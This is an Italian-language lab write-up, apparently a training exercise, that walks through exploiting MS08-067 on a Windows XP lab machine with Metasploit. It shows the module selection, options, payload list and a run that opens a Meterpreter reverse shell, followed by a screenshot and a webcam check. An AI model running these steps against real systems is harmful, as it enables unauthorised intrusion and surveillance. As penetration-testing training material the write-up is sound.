

Dopo aver configurato la macchina Windows XP con indirizzo IP 192.168.1.30, avviamo la macchina Kali ed eseguiamo il comando msfconsole.

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: View all productivity tips with the tips command

METASPLOIT CYBER MISSILE COMMAND V5

#####
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF
# F #
#####
.com
https://metasploit

+ --=[ metasploit v6.3.55-dev ]
+ --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ --=[ 1388 payloads - 46 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms08-067

Matching Modules

# Name Disclosure Date Rank Check Des
- - - - -
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS0
8-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exp
loit/windows/smb/ms08_067_netapi
```

Eseguiamo poi una ricerca del MS08-067, una vulnerabilità che potrebbe consentire l'esecuzione del codice remoto se un sistema interessato ha ricevuto una richiesta RPC appositamente creata. Nei sistemi Microsoft Windows 2000, Windows XP e Windows Server 2003, un utente malintenzionato potrebbe sfruttare questa vulnerabilità senza autenticazione per eseguire codice arbitrario. È possibile che questa vulnerabilità possa essere usata nella creazione di un exploit wormable.

```

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    yes              The target host(s), see https://docs
  .metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSV
  C)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh,
  thread, process, none)
  LHOST     192.168.1.25    yes       The listen address (an interface ma
  y be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads

  #  Name      Check  Description  Disclosur
  --  --      --
  0  payload/generic/custom  No      Custom Payload
  1  payload/generic/debug_trap  No      Generic x86 Debug Trap
  2  payload/generic/shell_bind_aws_ssm  No      Command Shell, Bind SSM (via AWS API)
  3  payload/generic/shell_bind_tcp  No      Generic Command Shell, Bind TCP Inline
  4  payload/generic/shell_reverse_tcp  No      Generic Command Shell, Reverse TCP Inline
  5  payload/generic/ssh/interact  No      Interact with Established SSH Connection
  6  payload/generic/tight_loop  No      Generic x86 Tight Loop
  7  payload/windows/adduser  No      Windows Execute net user /ADD
  8  payload/windows/custom/bind_hidden_ipknock_tcp  No      Windows shellcode stage, Hidden Bind Ipknock TCP Stage
  9  payload/windows/custom/bind_hidden_tcp  No      Windows shellcode stage, Hidden Bind TCP Stager

```

Andiamo poi ad inserire l'IP target e ad eseguire l'exploit:

```

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.30
RHOSTS => 192.168.1.30
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  | 192.168.1.30    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                                                                          |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSV C)                                                                                                                                                             |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.25    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.30:445 - Automatically detecting the target...
[*] 192.168.1.30:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.30:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.30:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176198 bytes) to 192.168.1.30
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.30:1051) at
2024-03-06 09:46:21 -0500

```

Infine come da traccia richiesto, tramite l'aiuto del comando "help" eseguiamo uno screenshot e controlliamo l'eventuale presenza di webcam, in questo assente.

